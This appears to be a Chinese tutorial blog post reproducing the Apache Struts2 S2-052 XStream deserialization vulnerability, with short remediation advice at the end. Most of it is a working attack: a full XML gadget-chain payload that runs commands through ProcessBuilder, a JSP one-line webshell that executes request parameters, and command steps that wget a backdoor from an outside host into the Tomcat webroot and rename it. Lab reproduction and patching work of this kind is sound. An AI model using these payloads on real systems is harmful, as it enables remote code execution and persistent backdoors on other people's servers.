Apache Struts2 (S2-052)
嗯... 好久没更新了今天给大家分享一下关于Apache Struts2 (S2-052)漏洞的复现及修复建议。
注:今后继续定期更新---实战!
Step1:环境搭建
环境搭建这部分略过,今后所有的环境我都会放到公网,感兴趣的朋友可以直接玩。
漏洞环境.png
以后文章也是以这种答题的形式给各位看官输出。
Step2:漏洞复现
- 首先,访问漏洞地址
http://xxx.xxx.xxx.xxx/index.jsp
image.png
- 利用burp 抓包;
1、修改请求方式为POST
2、请求头添加字段:Content-Type: application/xml
burp抓包.png
poc:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/usr/local/tomcat/webapps/ROOT/iChina.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
该请求核心部分如下(在目标主机的网站根目录创建一个空的iChina.txt文件):
<command>
<string>touch</string>
<string>/usr/local/tomcat/webapps/ROOT/iChina.txt</string>
</command>
访问已上传的iChina.txt文件
访问上传文件.png
回到开始的题目,要求在网站根目录写入一句话木马,其实说白了就是挂马。
第一反应,应该都是 echo "<%Runtime.getRuntime().exec(request.getParameter("xiaoYan"));%>" >> iChina.jsp
将一句话输出重定向至文件,但是由于经过多次实验这个方法行不通。
那么,可以这样:
#利用wget命令将后门直接下载至服务器。
<command>
<string>wget</string>
<string>-P</string>
<string>/usr/local/tomcat/webapps/ROOT</string>
<string>https://www.bug1024.cn/iChina.jsp.tar.gz</string>
</command>
再这样:
#修改后缀名
<command>
<string>mv</string>
<string>/usr/local/tomcat/webapps/ROOT/iChina.jsp.tar.gz</string>
<string>/usr/local/tomcat/webapps/ROOT/iChina.jsp</string>
</command>
访问iChina.jsp
页面:
image.png
Step3:修复建议
漏洞影响
Struts 2.5 – Struts 2.5.12 版本,可能影响到 2.3.33 版本。-
解决方案
1.建议尽快升级到 2.5.13版本。
2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:
<constant name=”struts.action.extension” value=”xhtml,,json” />
END
由于小编也在学习中,写的不好各位勿喷。
从0到1学习网络安全 【目录】
未完待续...